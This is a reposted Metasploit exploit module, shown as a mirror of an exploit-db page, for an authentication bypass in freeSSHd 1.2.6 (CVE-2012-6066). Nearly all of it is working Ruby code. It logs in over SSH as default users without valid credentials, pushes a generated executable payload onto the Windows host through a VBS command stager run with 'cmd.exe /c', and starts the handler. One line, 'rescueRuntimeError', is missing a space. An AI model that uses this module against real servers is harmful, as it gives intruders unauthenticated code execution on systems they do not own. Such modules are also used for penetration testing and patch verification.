freeSSHd 1.2.6 – Authentication Bypass (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24133/
  • require 'msf/core'
    require 'tempfile'
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::Tcp
    	include Msf::Exploit::EXE
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Freesshd Authentication Bypass",
    			'Description'=> %q{
    					This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
    				authentication. You just need the username (which defaults to root). The exploit
    				has been tested with both password and public key authentication.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Aris', # Vulnerability discovery and Exploit
    					'kcope', # 2012 Exploit
    					'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
    				],
    			'References' =>
    				[
    					[ 'CVE', '2012-6066' ],
    					[ 'OSVDB', '88006' ],
    					[ 'BID', '56785' ],
    					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ],
    					[ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ]
    				],
    			'Platform' => 'win',
    			'Privileged' => true,
    			'DisclosureDate' => "Aug 11 2010",
    			'Targets' =>
    				[
    					[ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ]
    				],
    			'DefaultTarget' => 0
    		))
    
    		register_options(
    			[
    				OptInt.new('RPORT', [false, 'The target port', 22]),
    				OptString.new('USERNAMES',[true,'Space Separate list of usernames to try for ssh authentication','root admin Administrator'])
    			], self.class)
    	end
    
    	def load_netssh
    		begin
    			require 'net/ssh'
    			return true
    		rescue LoadError
    			return false
    		end
    	end
    
    	def check
    		connect
    		banner = sock.recv(30)
    		disconnect
    		if banner =~ /SSH-2.0-WeOnlyDo/
    			version=banner.split(" ")[1]
    			return Exploit::CheckCode::Vulnerable if version =~ /(2.1.3|2.0.6)/
    			return Exploit::CheckCode::Appears
    		end
    		return Exploit::CheckCode::Safe
    	end
    
    
    	def upload_payload(connection)
    		exe = generate_payload_exe
    		filename = rand_text_alpha(8) + ".exe"
    		cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
    		opts = {
    			:linemax => 1700,
    			:decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
    		}
    
    		cmds = cmdstager.generate(opts)
    
    		if (cmds.nil? or cmds.length < 1)
    			print_error("The command stager could not be generated")
    			raise ArgumentError
    		end
    		cmds.each { |cmd|
    			ret = connection.exec!("cmd.exe /c "+cmd)
    		}
    
    	end
    
    	def setup_ssh_options
    		pass=rand_text_alpha(8)
    		options={
    			:password => pass,
    			:port => datastore['RPORT'],
    			:timeout=> 1,
    			:proxies=> datastore['Proxies'],
    			:key_data => OpenSSL::PKey::RSA.new(2048).to_pem
    		}
    		return options
    	end
    
    	def do_login(username,options)
    		print_status("Trying username "+username)
    		options[:username]=username
    
    		transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)
    		auth = Net::SSH::Authentication::Session.new(transport, options)
    		auth.authenticate("ssh-connection", username, options[:password])
    		connection = Net::SSH::Connection::Session.new(transport, options)
    		begin
    			Timeout.timeout(10) do
    				connection.exec!('cmd.exe /c echo')
    			end
    		rescueRuntimeError
    			return nil
    		rescue	Timeout::Error
    			print_status("Timeout")
    			return nil
    		end
    		return connection
    	end
    
    	def exploit
    		#
    		# Load net/ssh so we can talk the SSH protocol
    		#
    		has_netssh = load_netssh
    		if not has_netssh
    			print_error("You don't have net/ssh installed.Please run gem install net-ssh")
    			return
    		end
    
    		options=setup_ssh_options
    
    		connection = nil
    
    		usernames=datastore['USERNAMES'].split(' ')
    		usernames.each { |username|
    			connection=do_login(username,options)
    			break if connection
    		}
    
    		if connection
    			print_status("Uploading payload. (This step can take up to 5 minutes. But if you are here, it will probably work. Have faith.)")
    			upload_payload(connection)
    			handler
    		end
    	end
    end